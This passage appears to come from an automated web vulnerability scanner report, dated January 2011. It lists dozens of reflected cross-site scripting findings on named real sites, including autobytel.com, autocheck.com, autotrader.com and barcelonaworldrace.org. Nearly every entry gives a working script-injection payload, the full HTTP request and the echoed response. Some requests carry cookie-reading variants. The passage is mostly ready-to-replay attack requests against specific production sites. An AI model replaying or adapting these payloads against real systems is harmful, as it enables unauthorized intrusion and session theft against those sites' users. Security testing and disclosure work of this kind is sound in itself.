GET /content/research/comparison/index.cfm?851b3"><script>alert(1)</script>1b23e4debab=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.499. http://www.autobytel.com/content/research/kbb/index.cfm/action/selectyear/valuetype/TI [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5e80"><script>alert(1)</script>9fb9c2eb029 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI?f5e80"><script>alert(1)</script>9fb9c2eb029=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.500. http://www.autobytel.com/content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4ccd"><script>alert(1)</script>16170de7a7b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1?f4ccd"><script>alert(1)</script>16170de7a7b=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the action request parameter is copied into the HTML document as plain text between tags. The payload 1d65d<img%20src%3da%20onerror%3dalert(1)>413a205e61a was submitted in the action parameter. This input was echoed as 1d65d<img src=a onerror=alert(1)>413a205e61a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /content/shared/modProfile/index.cfm?id=4;ABTL&action=handler1d65d<img%20src%3da%20onerror%3dalert(1)>413a205e61a HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABL ...[SNIP]... <h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana"> Could not find the included template act_handler1d65d<img src=a onerror=alert(1)>413a205e61a.cfm. </h1> ...[SNIP]...
4.502. http://www.autobytel.com/coupons/my-garage.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/coupons/my-garage.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d81a"><script>alert(1)</script>f5d32ebedf5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /coupons/my-garage.htm?7d81a"><script>alert(1)</script>f5d32ebedf5=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.503. http://www.autobytel.com/diagnose-problem/my-garage.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/diagnose-problem/my-garage.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45bf5"><script>alert(1)</script>ab4ad55d4a5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /diagnose-problem/my-garage.htm?45bf5"><script>alert(1)</script>ab4ad55d4a5=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.504. http://www.autobytel.com/my-garage.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/my-garage.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b79c"><script>alert(1)</script>b4f72701277 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /my-garage.htm?6b79c"><script>alert(1)</script>b4f72701277=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.505. http://www.autobytel.com/new-car-price-quotes.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/new-car-price-quotes.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7519c"><script>alert(1)</script>65d403b7baa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-car-price-quotes.htm?7519c"><script>alert(1)</script>65d403b7baa=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.506. http://www.autobytel.com/repair-cost-calculator/my-garage.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/repair-cost-calculator/my-garage.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60236"><script>alert(1)</script>044cc4d79e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /repair-cost-calculator/my-garage.htm?60236"><script>alert(1)</script>044cc4d79e2=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.507. http://www.autobytel.com/sitemap/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/sitemap/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c053"><script>alert(1)</script>033a7d26254 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sitemap/index.cfm?9c053"><script>alert(1)</script>033a7d26254=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.508. http://www.autobytel.com/used-cars.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/used-cars.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75453"><script>alert(1)</script>f5531f9e8e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /used-cars.htm?75453"><script>alert(1)</script>f5531f9e8e2=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the siteID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ddbac"%3balert(1)//c700bf66469 was submitted in the siteID parameter. This input was echoed as ddbac";alert(1)//c700bf66469 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?WT.mc_id=1824&siteID=1824ddbac"%3balert(1)//c700bf66469 HTTP/1.1 Host: www.autocheck.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:54:25 GMT Server: Apache Set-Cookie: Apache=173.193.214.243.313621295913265271; path=/; expires=Wed, 23-Feb-11 23:54:25 GMT Cache-Control: private P3P: policyref="http://www.autocheck.com/w3c/p3p.xml", CP="NON DSP COR NID TAIa OUR NOR STA" Cache-Control: private Set-Cookie: referralCookie=aAvYRKxoy9j9tyYC62; path=/; expires=Wed, 23-Feb-2011 23:54:24 GMT Set-Cookie: JSESSIONID=aAvYRKxoy9j9tyYC62; path=/ Connection: close Content-Type: text/html Content-Length: 30580
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1 ...[SNIP]... <!-- var opt_siteId="1824ddbac";alert(1)//c700bf66469"; var opt_marketing_code=""; var opt_banner_id=""; //--> ...[SNIP]...
The value of the siteID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71a71"><script>alert(1)</script>6dab831a574 was submitted in the siteID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?WT.mc_id=1824&siteID=182471a71"><script>alert(1)</script>6dab831a574 HTTP/1.1 Host: www.autocheck.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:54:22 GMT Server: Apache Set-Cookie: Apache=173.193.214.243.19341295913262634; path=/; expires=Wed, 23-Feb-11 23:54:22 GMT Cache-Control: private P3P: policyref="http://www.autocheck.com/w3c/p3p.xml", CP="NON DSP COR NID TAIa OUR NOR STA" Cache-Control: private Set-Cookie: referralCookie=bFL73dHR0oz-n3XC62; path=/; expires=Wed, 23-Feb-2011 23:54:22 GMT Set-Cookie: JSESSIONID=bFL73dHR0oz-n3XC62; path=/ Connection: close Content-Type: text/html Content-Length: 30844
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.511. http://www.autotrader.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autotrader.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bc4cb"%3balert(1)//1ee177b82c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bc4cb";alert(1)//1ee177b82c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?bc4cb"%3balert(1)//1ee177b82c=1 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:57:06 GMT Server: Apache Set-Cookie: JSESSIONID=73D9E7C5239D08C715DEA475D07D7060; Path=/ Set-Cookie: ATC_USER_ZIP=; Domain=.autotrader.com; Expires=Tue, 31-Jan-2012 23:57:06 GMT; Path=/ P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Set-Cookie: BIGipServerAT-Production_hhtp=3979503114.61475.0000; path=/ Content-Length: 60162
<!DOCTYPE html P ...[SNIP]... <script type="text/javascript"> BIRFPageData = { pg_inst:"376865021865166256", logDomain:"http://www.autotrader.com", my:false, params:{ "bc4cb";alert(1)//1ee177b82c":"1", "disableImpressions":"false" } }; </script> ...[SNIP]...
4.512. http://www.autotrader.com/hornav/trader/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autotrader.com
Path:
/hornav/trader/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2aba"%3balert(1)//c38b5e5e306 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c2aba";alert(1)//c38b5e5e306 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /hornav/trader/index.jsp?c2aba"%3balert(1)//c38b5e5e306=1 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 23:56:30 GMT Server: Apache Set-Cookie: JSESSIONID=C360AF28D0BC5EDA43BF2A39CE968F78; Path=/ Set-Cookie: ATC_USER_ZIP=; Domain=.autotrader.com; Expires=Tue, 31-Jan-2012 23:56:30 GMT; Path=/ Set-Cookie: ac_afflt=; Path=/ Content-Language: en P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=ISO-8859-1 Set-Cookie: BIGipServerAT-Production_hhtp=3476186634.61475.0000; path=/ Content-Length: 43866
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 15dee<script>alert(1)</script>1c89ef9af97 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dwr/interface/MarketManager.js15dee<script>alert(1)</script>1c89ef9af97?v=3.17.167500 HTTP/1.1 Host: www.autotraderstatic.com Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: M7F1=CT
Response
HTTP/1.1 501 Not Implemented Server: Apache Last-Modified: Tue, 07 Dec 2010 13:18:55 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=ISO-8859-1 Cache-Control: max-age=604758 Date: Tue, 25 Jan 2011 02:52:30 GMT Connection: close Vary: Accept-Encoding Content-Length: 74
No class by name: MarketManager15dee<script>alert(1)</script>1c89ef9af97
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload d8912<script>alert(1)</script>804014494e4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dwr/interface/ModelSearchUtil.jsd8912<script>alert(1)</script>804014494e4?v=3.17.167500 HTTP/1.1 Host: www.autotraderstatic.com Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: M7F1=CT
Response
HTTP/1.1 501 Not Implemented Server: Apache Last-Modified: Tue, 07 Dec 2010 12:49:02 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=ISO-8859-1 Cache-Control: max-age=604763 Date: Tue, 25 Jan 2011 02:52:30 GMT Connection: close Vary: Accept-Encoding Content-Length: 76
No class by name: ModelSearchUtild8912<script>alert(1)</script>804014494e4
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a4a28<script>alert(1)</script>00a7fd303d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dwr/interface/UserMsgController.jsa4a28<script>alert(1)</script>00a7fd303d HTTP/1.1 Host: www.autotraderstatic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: M7F1=CT;
Response
HTTP/1.1 501 Not Implemented Server: Apache Last-Modified: Thu, 13 Jan 2011 21:33:44 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=ISO-8859-1 Cache-Control: max-age=604788 Date: Tue, 25 Jan 2011 14:24:57 GMT Connection: close Content-Length: 77
No class by name: UserMsgControllera4a28<script>alert(1)</script>00a7fd303d
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 556c1"><script>alert(1)</script>727745fc927 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite556c1"><script>alert(1)</script>727745fc927/breves HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:31:39 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web13; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite556c1"><script>alert(1)</script>727745fc927/breves"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2d1b"><script>alert(1)</script>dd99ef630da was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite/brevesf2d1b"><script>alert(1)</script>dd99ef630da HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:32:01 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web12; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite/brevesf2d1b"><script>alert(1)</script>dd99ef630da"> ...[SNIP]...
4.518. http://www.barcelonaworldrace.org/en/actualite/breves [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.barcelonaworldrace.org
Path:
/en/actualite/breves
Issue detail
